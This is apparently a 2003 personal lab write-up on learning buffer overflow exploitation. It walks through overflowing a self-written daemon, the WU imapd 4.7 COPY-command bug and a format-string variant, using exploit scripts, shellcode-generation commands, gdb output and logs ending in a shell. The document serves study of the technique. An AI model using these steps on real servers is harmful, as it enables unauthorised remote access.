

Some tests on buffer overflows (rev 0)

Andrea Leofreddi

February 4, 2003

1 About this document

I've read a cool buffer overflow doc¹, and I'd like to have some fun exploiting something. Since I'm really bad at writing asm, and that's the first time I play with buffer overflows, I thought to start with little things. This document has no particular teaching purposes, thought it to be nice to intermediate people who likes to check out how a buffer overflow works (so the target of this reading should be an intermediate-C programmer and poor-asm programmer like me, leeto hackers would have something better to read and script-kids are too lame to understand).

2 Tools

Because I'm too lazy to code exploits and we can obtain the same effect with bash scripts and netcat, I thought to write a little code to generate buffer data, I called it buffiller. It has some shellcodes inside², and some routines to put nops in the first piece of buffer and return address at the end.

3 First remote exploit

Ok. After exploiting local buffer overflows, like Aleph explained, I wanted to try a remote exploit on a silly self-written daemon. So I wrote fnord, a little forking daemon that listens on a passed port, and handles client with this function:

```
void serve(int sockfd) {
    char buffer[256];
    char reply[512];
    unsigned r;
```

¹Aleph One, Smashing The Stack For Fun And Profit

²you can obtain them passing list as first argument

```

printf("Child %i, buffer at 0x%x, fd is %i\n", getpid(), buffer, sockfd);

swrite(sockfd, "Welcome to FNORDaemon\n");

r = read(sockfd, buffer, 512);

if(r > 0) {
    strcpy(reply, "REPLY: ");
    strcat(reply, buffer);

    swrite(sockfd, reply);
}
}

```

Running the fnord on port 5000, we can immediately look for an abnormal termination when overflowing the buffer:

```

andrea@aries:~$ nc localhost 5000
Welcome to FNORDaemon
hello
REPLY: hello
andrea@aries:~$ nc localhost 5000
Welcome to FNORDaemon
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
andrea@aries:~$

```

On the console where fnord is running:

```

andrea@aries:~/tests/fnord$ ./fnord 5000
Starting fnord server (2683)
Child 2685, buffer at 0xbffffa7c, fd is 4
Child 2687, buffer at 0xbffffa7c, fd is 4
process 2687: caught a SEGV at 0x41414141

```

Ok. 0x41414141, our A overflowed the buffer and we got them in ret. Let's try to exploit this bug. Normal local execve+exit shellcode won't be enough, because we need to dup2 sockfd on the std streams, so I disassembled dup2, and that's how it works:

```

xorl    %ebx, %ebx
xorl    %eax, %eax
movb    1st parameter, %ebx
movb    2nd parameter, %ecx
movb    $0x3f, %eax
int     $0x80

```

fnord inform us about needed infos:

Child 2685, buffer at 0xbffffa7c, fd is 4

The network fd we use is 4, and the buffer is located at 0xbffffa7c. Built the new shellcode and put it in buffiller tool, we can try to exploit the daemon with nc and a silly script, like this one:

```

#!/bin/sh

if ! test -f shellcode; then
    echo I need a shellcode file >&2;
    exit 1;
fi;

cat shellcode;
echo -e '\x00'

while true; do
    read i;
    echo $i;
done;

```

Let's try:

```

andrea@aries:~/tests/fnord$ ../tools/buffiller dup2 356 0xbffffa7c > shellcode
Shellcode from 'dup2', size 356, return address 0xbffffa7c (return offset in buffer is 0)
Guessing shellcode...
Generating shellcode...
andrea@aries:~/tests/fnord$ ./exploit_fnord.sh | nc localhost 2000
Welcome to FNORDaemon
andrea@aries:~/tests/fnord$

```

It didn't work. Looking at fnord console, we discover something interesting:

```
process 2716: caught a SEGV at 0x7cbffffa
```

that's our return address shifted 1 byte to the left. The reason of that is in our code, because we do strcat on a buffer that contains already 7 bytes (we need to fit the 1 byte hole). Let's try again:

```
andrea@aries:~/tests/fnord$ ../tools/buffiller dup2 356 0xbffffa7c 3 > shellcode
Shellcode from 'dup2', size 356, return address 0xbffffa7c (return offset in buffer is 3)
Guessing shellcode...
Generating shellcode...
andrea@aries:~/tests/fnord$ ./exploit_fnord.sh | nc localhost 2000
Welcome to FNORDaemon
id
uid=1000(andrea) gid=100(users) groups=100(users),29(audio),40(src),44(video)
```

Hehe, that's what we wanted!

4 Remote exploit on an real daemon

Ok. Now i could exploit my home-made buggy daemon, but that wasn't satisfactory, so I decided to write a real exploit, for an old easy bug of course. Looked on securityfocus and caught this advisory:

```
To: BugTraq
Subject: another WU imapd buffer overflow
Date: Apr 21 2000 3:12AM
Author: Michal Szymanski <siva9@clico.pl>
Message-ID: <20000421021218.A693@clico.pl>
```

Hi,

While doing code security audit, I discovered another buffer overflow in imapd. This time security flaw exist in standard rfc 1064 COPY command:

```
* OK mail IMAP4rev1 v12.264 server ready
* login siva9 secret
* OK LOGIN completed
* select inbox
* 2 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 956162550] UID validity status
* OK [UIDNEXT 5] Predicted next UID
* FLAGS (\Answered \Flagged \Deleted \Draft \Seen)
* OK [PERMANENTFLAGS (\* \Answered \Flagged \Deleted \Draft \Seen)] Permanent
  flags
```

```
* OK [UNSEEN 2] first unseen message in /var/spool/mail/siva9
* OK [READ-WRITE] SELECT completed
* copy 1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ... [a lot of A's]
```

No answer. Process has been killed by SIGSEGV. Number of A's must be in range from 1017 to 8180. After LOGIN all privileges are dropped, but we still have possibility to get unprivileged shell access. I've tested it against WU imapd v10.223, v11.241, v12.250, v12.261, and v12.264.

Regards,

Michal Szymanski [michal_szymanski@linux.com.pl];

Cool, thought to be a buffer overflow. The buffer should be nicely large to get my lame shellcode fit in (1017 bytes at least).

So i went to the Washington University site and started downloading this buggy imap daemon (imap-4.7.tar.Z). After the installation (on my Linux box it didn't compile immediately, a little patch was necessary to get time.h included), everything worked fine:

```
andrea@aries:~$ telnet localhost imap
Trying ::1...
Trying 127.0.0.1...
Connected to aries.
Escape character is '^]'.
* OK aries IMAP4rev1 v12.264 server ready
* LOGIN andrea andrea
* OK LOGIN completed
* SELECT INBOX
* 1 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 1044127050] UID validity status
* OK [UIDNEXT 2] Predicted next UID
* FLAGS (\Answered \Flagged \Deleted \Draft \Seen)
* OK [PERMANENTFLAGS (\* \Answered \Flagged \Deleted \Draft \Seen)] Permanent flags
* OK [UNSEEN 1] first unseen message in /var/spool/mail/andrea
* OK [READ-WRITE] SELECT completed
* COPY 1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

```

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Connection closed by foreign host.
andrea@aries:~$

```

Cool. Seems a crash, like Michal said. Now let's look into imap code:

```

else if (!anonymous && /* copy message(s) */
(!strcmp (cmd,"COPY") || !strcmp (cmd,"UID COPY"))) {
    trycreate = NIL; /* no trycreate status */
    if (!(arg && (s = strtok (arg, " ")) && (arg = strtok(NIL, "\015\012"))
&& (t = snarf (&arg)))) response = misarg;
    else if (arg) response = badarg;
    else if (!nmsgs) response = "%.80s NO Mailbox is empty\015\012";
/* try copy */
    if (!(stream->dtb->copy) (stream,s,t,uid ? CP_UID : NIL)) {
        response = trycreate ? losetry : lose;
        if (!lsterr) lsterr = cpystr ("No such destination mailbox");
    }
}
}

```

This seems to be the (horrible) code that handles COPY command. gdb'ing a little show us that this piece of code crashes into (stream->dtb->copy), the unix_copy function. unix_copy (in src/osdep/unix/unix.c) invokes unix_valid with the second (long) argument of the COPY command (the destination mailbox). In unix_valid:

```

128     if ((t = dummy_file (file,name)) && !stat (t,&sbuf)) {
(gdb)
345     {
(gdb) print t
$1 = 0xbfffeabc "/home/andrea/", 'A' <repeats 71 times>

```

dummy_file is a wrapper to mailboxfile function. The mailboxfile function does:

```

/* build resulting name */

```

```
printf (dst,"%s/%s",dir,name);
return dst;          /* return it */
```

cool. `unix_valid()` invokes `dummy_file()` using `char file[MAILTMPLLEN]`; as first argument.

```
if ((t = dummy_file (file,name)) && !stat (t,&sbuf)) {
```

MAILTMPLLEN is 1024 bytes. Now we can try to exploit it, and we discovered there are a LOT of `unix_valid` invocations (maybe an anonymous command could exploit it too, but that doesn't interest me). `Imapd` it's a service executed from `inetd`, so we have just to get the right offset and the usual `execve+exit` shellcode would be enough (not need to dup descriptors). A limitation to our shellcode is that if we pass directly the shellcode as the second argument of `COPY`, we get a `segfault` at `0x0`: `snarf` function returns `NULL` because it checks if characters are not control chars or extended: a workaround of this can be obtained using the

`{length}data`

format that allows extended chars to be send as argument. Putting in `unix_valid` some `syslog` statements can help to get the file buffer offset. The usual `imapd` session (`login`, `select` and `copy`) printed these offsets:

```
Feb  4 01:43:29 aries imapd[1890]: buffer at 0xbfffeece
Feb  4 01:43:29 aries imapd[1890]: buffer at 0xbfffeeee
Feb  4 01:43:29 aries imapd[1890]: buffer at 0xbfffe88e
Feb  4 01:43:29 aries imapd[1890]: buffer at 0xbfffe8ae
Feb  4 01:43:30 aries imapd[1890]: buffer at 0xbfffea6e
```

The `0xbfffea6e` offset is always the offset of the `copy` command. Cool. Remembering that `mailboxfile()` puts a directory in the head of our buffer, a 64 bytes hop should be enough to jump that directory stuff. Let's generate the right buffer overflow data:

```
aries:/home/andrea/tests/imap# ./buffiller normal 1224 0xbfffea6e > shellcode
Shellcode from 'normal', size 1224, return address 0xbfffea6e (return offset in
buffer is 0)
Guessing shellcode...
Generating shellcode...
aries:/home/andrea/tests/imap#
```

And now, let's use our little exploit client with this shellcode:

```

aries:/home/andrea/tests/imap# ./exploit shellcode localhost andrea andrea
Starting imap exploit (using shellcode from shellcode target localhost:143, using
account andrea:andrea)
Reading shellcode from shellcode...ok (1224 bytes)
Setting up network connection to target...ok
Going on
REPLY: * OK aries IMAP4rev1 v12.264 server ready
Trying to login...ok
REPLY: * OK LOGIN completed
Executing SELECT INBOX...ok
REPLY: * 1 EXISTS
* NO Mailbox vulnerable - directory /var/spool/mail must have 1777 protection
* 0 RECENT
* OK [UIDVALIDITY 1044132094] UID validity status
* OK [UIDNEXT 2] Predicted next UID
* FLAGS (\Answered \Flagged \Deleted \Draft \Seen)
* OK [PERMANEExecuting COPY...ok
REPLY: NTFLAGS (\* \Answered \Flagged \Deleted \Draft \Seen)] Permanent flags
* OK [UNSEEN 1] first unseen message in /var/spool/mail/andrea
* OK [READ-WRITE] SELECT completed
Sending shellcode...ok
+ Ready for argument
uid=1000(andrea) gid=100(users) groups=100(users),29(audio),40(src),44(video)

```

Hehe. That's what we wanted.

5 Overflowing the stack using a format string

Let's have a look to `fsnord.c`, the format string version of `fnord`. A little change were made to handle client requests:

```

void serve(int sockfd) {
    char reply[512];
    char buffer[256];
    unsigned r;

    printf("Child %i, buffer at 0x%x, fd is %i\n", getpid(), reply, sockfd);

    write(sockfd, "Welcome to FSNORDaemon\n");

    r = read(sockfd, buffer, 256); // this time is safe

    if(r > 0) {
        write(sockfd, "REPLY: ");
    }
}

```

```

        sprintf(reply, buffer);
        swrite(sockfd, reply);
    }
}

```

The `sprintf` statement is unsafe, because we can put some format arguments in `buffer`. We cannot directly exploit the reply buffer, because we only can store there 256 bytes (the size of `buffer`), but we can use some format arguments to get reply grow and overflow the stack like this:

```

andrea@aries:~/tests/fsnord$ nc localhost 2000
Welcome to FSNORDaemon
%512dOUR SHELL CODE WILL FOLLOW
REPLY: andrea@aries:~/tests/fsnord$

```

Looking on `fsnord` console

```

Child 4230, buffer at 0xbffff87c, fd is 4
process 4230: caught a SEGV at 0x4c454853

```

Our string, 'OUR SHELL CODE WILL FOLLOW' has overwritten the return address of the function, because `%512d` has been expanded to a 512 length decimal. Looking at `0x4c454853` we can see that it's our string:

```

andrea@aries:~/tests/document$ echo -e '\x53\x48\x45\x4c'
SHEL
andrea@aries:~/tests/document$

```

Now let's do some math to get exactly the offset that we'll store into `ret` address:

1. `0xbffff97c` (reply address)
2. `+512` (size of reply)
3. `+4` (`sfp`)
4. `+4` (`ret`)

Ok now we're ready to try: our return address should contain `0xbffffb84`. We can write a silly script, like the following one

```

#!/bin/sh
#
# A little script to exploit fnord daemon
#

```

```
if ! test -f shellcode; then
    echo I need a shellcode file >&2;
    exit 1;
fi;
```

```
echo -n '%516d'
```

```
# Our return address is 0xbfffa84
echo -en '\x84\xfb\xff\xbf';
cat shellcode;
echo -e '\x00'
```

```
while true; do
    read i;
    echo $i;
done;
```

And then exploit the fsnord daemon:

```
andrea@aries:~/tests/fsnord$ ./exploit_fsnord.sh | nc localhost 2000
```

```
Welcome to FSNORDaemon
```

```
REPLY:
```

```
id
```

```
uid=1000(andrea) gid=100(users) groups=100(users),29(audio),40(src),44(video)
```

That's what we looked for.